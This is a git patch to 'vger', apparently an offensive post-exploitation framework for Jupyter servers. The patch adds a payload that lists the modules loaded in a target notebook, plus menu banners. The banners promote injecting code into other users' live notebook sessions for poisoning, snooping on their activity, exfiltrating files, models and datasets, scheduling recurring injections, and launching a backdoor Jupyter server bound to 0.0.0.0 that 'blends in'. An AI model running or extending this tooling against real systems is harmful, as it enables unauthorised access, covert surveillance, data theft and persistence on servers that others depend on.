From b4e82d485cb1f67a9e41b8e8a5c9edcdba363341 Mon Sep 17 00:00:00 2001 From: Joe Lucas Date: Sun, 21 Jan 2024 13:43:43 -0600 Subject: [PATCH] list module functionality and helpful menu banners on first time --- README.md | 1 + pyproject.toml | 2 +- vger/exploit.py | 12 ++++++++++ vger/menu.py | 63 ++++++++++++++++++++++++++++++++++++++++++++++++- 4 files changed, 76 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index b0e6dde..f73c3b0 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,7 @@ The top level menu is: - **Quit**: No one likes quitters. These menus contain the following functionality: +- **List modules**: Identify imported modules in target notebooks to determine what libraries are available for injected code. - **Inject**: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local `.py` file. Either input is processed as a string and executed in runtime of the notebook. Output will be transparent to other notebook users by specifying `Noisy` or `Stealthy` when prompted. This selection will also dictate how much information is returned to the user about their execution. - **Backdoor**: Launch a new JupyterLab instance open to `0.0.0.0`, with `allow-root` on a user-specified `port` with a user-specified `password`. - **Check History**: See ipython commands recently run in the target notebook. diff --git a/pyproject.toml b/pyproject.toml index 29d221c..3932940 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "vger" -version = "0.1.3" +version = "0.1.4" description = "An execution framework for Jupyter environments." authors = ["Joseph Lucas "] license = "GPL-3.0-only" diff --git a/vger/exploit.py b/vger/exploit.py index 56c84f8..d7e2239 100644 --- a/vger/exploit.py +++ b/vger/exploit.py @@ -180,3 +180,15 @@ def kill_job(self): for job in answers["jobs"]: self.jobs[job].kill() self.connection.print_with_rule(f"Killed {job}") + + def list_modules(self): + payload_str = ( + "from types import ModuleType as MT;\n" + + "[k for k, v in globals().items() if type(v) is MT and not k.startswith('__')]" + ) + loop = asyncio.get_event_loop() + loop.run_until_complete( + attack_session( + self.connection, self.target, payload_str, silent=False, print_out=True + ) + ) diff --git a/vger/menu.py b/vger/menu.py index eac2e3f..be572ad 100644 --- a/vger/menu.py +++ b/vger/menu.py @@ -17,6 +17,12 @@ def __init__(self): self.model_paths: List[str] = list() self.datasets: List[str] = list() self.jobs: Dict[str, Process] = dict() + self.first_time_in_menu: Dict[str, bool] = { + "enumerate": True, + "exploit": True, + "exploit_attack": True, + "persist": True, + } self.connection.print_with_rule( """ . ,; @@ -90,9 +96,24 @@ def menu(self): self.export_console() self.menu() case "Quit": + for k, v in self.jobs.items(): + v.kill() exit() def enumerate(self): + if self.first_time_in_menu["enumerate"]: + self.first_time_in_menu["enumerate"] = False + self.connection.print_with_rule( + """ + Use your access to the jupyter server to search and learn more about the environment. + + [bold red]Run shell commands[/bold red] like ls or pwd. + [bold red]List directories[/bold red] and [bold red]get files[/bold red] from the server. + [bold red]See running notebooks[/bold red] and [bold red]snoop on[/bold red] activity. + [bold red]Find models[/bold red] and [bold red]datasets[/bold red] in the environment. + """, + category="Enumerate", + ) enumerate_menu = [ inquirer.List( "option", @@ -138,6 +159,18 @@ def enumerate(self): self.menu() def exploit(self): + if self.first_time_in_menu["exploit"]: + self.first_time_in_menu["exploit"] = False + self.connection.print_with_rule( + """ + Expand your access into the jupyter server and start interacting with notebooks. + [bold red]Run shell commands[/bold red] to change server state. + [bold red]Upload[/bold red] and [bold red]Delete[/bold red] files to exfiltrate valuable artifacts or upload payloads. + [bold red]Attack running notebooks[/bold red] to inject code or snoop on sessions. + [bold red]Download models[/bold red] and [bold red]datasets[/bold red] to your local host. + """, + category="Exploit", + ) exploit_menu = [ inquirer.List( "option", @@ -181,17 +214,31 @@ def exploit(self): self.menu() def exploit_attack(self): + if self.first_time_in_menu["exploit_attack"]: + self.first_time_in_menu["exploit_attack"] = False + self.connection.print_with_rule( + """ + Focus on a specific notebook session. + [bold red]Show history[/bold red] of commands run in the notebook. + [bold red]List imported modules[/bold red] in the notebook. Useful for identifying what imports you have available. + [bold red]Inject code[/bold red] into the notebook runtime (just as if the user ran it). Great for poisoning. + [bold red]Snoop[/bold red] on the notebook session to see what the user is doing. + [bold red]Start and kill recurring jobs[/bold red] to inject code on your schedule. + """, + category="Exploit Notebook", + ) attack_menu = [ inquirer.List( "option", "Show history or inject code?", choices=[ "Show history", + "List imported modules", "Inject code", - "Switch notebook", "Snoop", "Recurring job", "Kill job", + "Switch notebook", "Back to main menu", ], ) @@ -201,6 +248,9 @@ def exploit_attack(self): case "Show history": self.dump_history() self.exploit_attack() + case "List imported modules": + self.list_modules() + self.exploit_attack() case "Inject code": self.inject() self.exploit_attack() @@ -223,6 +273,17 @@ def exploit_attack(self): self.menu() def persist(self): + if self.first_time_in_menu["persist"]: + self.first_time_in_menu["persist"] = False + self.connection.print_with_rule( + """ + Develop alternate access mechanisms. + [bold red]Run shell commands[/bold red] to change server state. + [bold red]Upload[/bold red] and [bold red]Delete[/bold red] files to manage payloads. + Launch a [bold red]Backdoor[/bold red] Jupyter server so you have a way back that blends in. + """, + category="Persist", + ) persist_menu = [ inquirer.List( "option",